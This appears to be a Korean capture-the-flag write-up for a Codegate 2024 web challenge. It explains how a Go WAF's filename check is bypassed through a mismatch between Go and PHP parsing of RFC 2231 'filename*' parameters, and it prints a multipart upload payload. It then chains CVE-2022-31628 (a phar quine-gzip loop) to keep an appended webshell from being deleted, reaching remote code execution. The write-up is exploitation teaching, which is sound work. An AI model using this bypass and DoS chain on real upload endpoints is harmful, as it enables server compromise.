go multipart parser와 php의 multipart parser의 서로 다른 구현을 악용하여 waf를 우회, 이후 CVE-2022-31628를 이용하여 dos를 발생시켜 웹쉘을 업로드하고
RCE를 하면 되는 문제이다.
if r.Method == "POST" {
mr, err := r.MultipartReader()
if err != nil {
r.Body.Close()
fmt.Println("Http request is corrupted.")
return
} else {
var b bytes.Buffer
w := multipart.NewWriter(&b)
reuseBody := true
for {
part, err := mr.NextPart()
if err == io.EOF {
break
}
if err != nil {
r.Body.Close()
wr.Write([]byte("something wrong :("))
return
}
if part.FileName() != "" {
re := regexp.MustCompile(`[^a-zA-Z0-9\.]+`)
cleanFilename := re.ReplaceAllString(part.FileName(), "")
match, _ := regexp.MatchString(`\.(php|php2|php3|php4|php5|php6|php7|phps|pht|phtm|phtml|pgif|shtml|htaccess|inc|hphp|ctp|module|phar)$`, cleanFilename)
if match {
r.Body.Close()
wr.Write([]byte("WAF XD"))
return
}
partBuffer, _ := ioutil.ReadAll(part);
if strings.Contains(string(partBuffer), "<?php") {
r.Body.Close()
wr.Write([]byte("WAF XD"))
return
}
} else {
fieldName := part.FormName()
fieldValue, _ := ioutil.ReadAll(part)
_ = w.WriteField(fieldName, string(fieldValue))
reuseBody = false
}
}
if !reuseBody {
w.Close()
rdr2 = ioutil.NopCloser(&b)
r.Header.Set("Content-Type", w.FormDataContentType())
}
}
}
part.FileName() 값은 업로드되는 파일명을 반환하는 메소드이다.
빈 값이 아닌 경우, filename에서 [a-zA-Z0-9.]을 제외한 다른 문자들을 제거한 뒤 정규식으로 위험한 확장자가 포함되어있는지 검증하고 있다.
일반적인 경우 이는 우회할 수 없지만, PHP와 go의 multipart data에 대한 처리 로직이 다른 것을 이용하여 우회하는 것이 가능하다.
func (p *Part) FileName() string {
if p.dispositionParams == nil {
p.parseContentDisposition()
}
filename := p.dispositionParams["filename"]
if filename == "" {
return ""
}
// RFC 7578, Section 4.2 requires that if a filename is provided, the
// directory path information must not be used.
return filepath.Base(filename)
}
func (p *Part) parseContentDisposition() {
v := p.Header.Get("Content-Disposition")
var err error
p.disposition, p.dispositionParams, err = mime.ParseMediaType(v)
if err != nil {
p.dispositionParams = emptyParams
}
}
part.FileName을 호출하면 go는 내부적으로 parseContentDisposition 함수를 호출하여 filename을 파싱한다.
이때 parseContentDisposition에선 mime.ParseMediaType을 호출하는데 이 함수가 실질적으로 multipart data section을 처리하는 부분이다.
// https://github.com/golang/go/blob/master/src/mime/mediatype.go#L139
func ParseMediaType(v string) (mediatype string, params map[string]string, err error) {
base, _, _ := strings.Cut(v, ";")
mediatype = strings.TrimSpace(strings.ToLower(base))
err = checkMediaTypeDisposition(mediatype)
if err != nil {
return "", nil, err
}
params = make(map[string]string)
// Map of base parameter name -> parameter name -> value
// for parameters containing a '*' character.
// Lazily initialized.
var continuation map[string]map[string]string
v = v[len(base):]
for len(v) > 0 {
v = strings.TrimLeftFunc(v, unicode.IsSpace)
if len(v) == 0 {
break
}
key, value, rest := consumeMediaParam(v)
if key == "" {
if strings.TrimSpace(rest) == ";" {
// Ignore trailing semicolons.
// Not an error.
break
}
// Parse error.
return mediatype, nil, ErrInvalidMediaParameter
}
pmap := params
if baseName, _, ok := strings.Cut(key, "*"); ok {
if continuation == nil {
continuation = make(map[string]map[string]string)
}
var ok bool
if pmap, ok = continuation[baseName]; !ok {
continuation[baseName] = make(map[string]string)
pmap = continuation[baseName]
}
}
if v, exists := pmap[key]; exists && v != value {
// Duplicate parameter names are incorrect, but we allow them if they are equal.
return "", nil, errors.New("mime: duplicate parameter name")
}
pmap[key] = value
v = rest
}
...
우선 go는 파라미터를 파싱할 때 같은 key에 대해 다른 값이 여러 개 들어온다면 에러를 발생시킨다.
에러가 발생하면 해당 변수는 빈 값으로 설정되기 때문에
이중 파라미터와 같은 고전적인 우회 방법은 사용할 수 없다.
하지만 코드를 잘 읽어보면
if baseName, _, ok := strings.Cut(key, "*"); ok {
if continuation == nil {
continuation = make(map[string]map[string]string)
}
var ok bool
if pmap, ok = continuation[baseName]; !ok {
continuation[baseName] = make(map[string]string)
pmap = continuation[baseName]
}
}
...
for key, pieceMap := range continuation {
singlePartKey := key + "*"
if v, ok := pieceMap[singlePartKey]; ok {
if decv, ok := decode2231Enc(v); ok {
params[key] = decv
}
continue
}
buf.Reset()
valid := false
...
key에 *가 포함된 경우 continuation 변수에 해당 Key와 value를 저장한 후 아래에서 이를 기반으로 decode2231Enc 함수를 호출한다.
그러나 이땐 파라미터 중복 여부를 확인하지 않는다.
즉, 이 부분을 활용하면 php에선 rfc 2231을 지원하지 않으므로 go와 php에서 인식하는 파일명을 다르게 할 수 있다.
------WebKitFormBoundaryUUIxMBvMMAgZLeFi
Content-Disposition: form-data; name="file"; filename="exploit.php" filename*=utf-8''exampe.txt
Content-Type: application/x-gzip
dummydata
------WebKitFormBoundaryUUIxMBvMMAgZLeFi--
rfc 스펙과 go의 처리 코드를 기반으로 페이로드를 구성하면 위와 같다.
해당 데이터를 서버로 전송할 시 waf를 우회하여 php를 확장자로 가진 파일을 업로드할 수 있다.
<?php
require_once("./config.php");
session_start();
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
$SANDBOX = getcwd() . "/uploads/" . md5("supers@f3salt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
echo "Here is your current directory : " . $SANDBOX . "<br>";
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
$filename = basename($_FILES['file']['name']);
if (move_uploaded_file( $_FILES['file']['tmp_name'], "$SANDBOX/" . $filename)) {
echo "<script>alert('File upload success!');</script>";
}
}
if (isset($_GET['path'])) {
if (file_exists($_GET['path'])) {
echo "file exists<br><code>";
if ($_SESSION['admin'] == 1 && $_GET['passcode'] === SECRET_CODE) {
include($_GET['path']);
}
echo "</code>";
} else {
echo "file doesn't exist";
}
}
if (isset($filename)) {
unlink("$SANDBOX/" . $filename);
}
?>
코드는 위와 같이 작성되어있다.
파일을 업로드하면 랜덤한 임의의 디렉토리에 파일을 업로드한다. 이후 path로 전달된 파일 경로에 대해서 file_exists함수가 true를 리턴하면
세션의 admin값과 $_GET['passcode']
를 체크하고 include해주며 코드의 마지막에서 unlink함수를 통해 업로드한 파일을 삭제한다.
여기서 include 부분은 그냥 낚시용이니깐 무시해야한다. 저 부분은 사용이 불가능하다.
그럼 우리가 할 수 있는건 unlink되기 전 웹쉘에 접근하거나 unlink 코드가 실행되지 않도록 하는 것이다.
여기선 여러 방식으로 사용하면 되며 출제할 땐 아래의 방법을 썼다.
FROM php:7.4.30-apache-bullseye
https://pentest-tools.com/vulnerabilities-exploits/php-7431-80x-8024-81x-8111-security-update-windows_13209
php 버전이 7.4.30인데 해당 버전엔 여러 CVE가 존재한다.
CVE-2022-31628: The phar uncompressor code would recursively uncompress quines gzip files, resulting in an infinite loop.
quine gzip을 이용하면 무한 반복을 통해 dos를 유발시킬 수 있다고 한다.
https://bugs.php.net/bug.php?id=81726
file_exists에서도 phar wrapper를 사용하는 것이 가능하기 때문에 이를 이용하면 dos를 발생시켜 unlink되기 전 웹쉘에 접근하는 것이 가능해진다.
이때 php의 gz decompress 로직은 dummy data가 있어도 에러를 발생시키지 않기 때문에
quine gzip 파일을 다운로드한 후 맨 뒤에 webshell 데이터를 삽입하여 업로드해주면 된다.
이외에는 file_exists 함수가 실행되는 부분에서 사용가능한 scheme들을 통해 PHP 코드가 종료되지 않도록 하면 된다. (http, ftp 등등..)
플래그
codegate2024{caaff9a2603c3225626f1569a0d371d7d2c354177f48bd303aa9a5297f40d55b}
'web hacking' 카테고리의 다른 글
Codegate 2025 quals - Cha's point writeup (1) | 2025.09.01 |
---|---|
url parser confusing (0) | 2022.08.03 |
hayyim CTF 2022 web writeup (0) | 2022.02.13 |
Weird Javascript (3) | 2021.08.29 |
DarkCON CTF web Writeup - DarkCON Challs (0) | 2021.02.21 |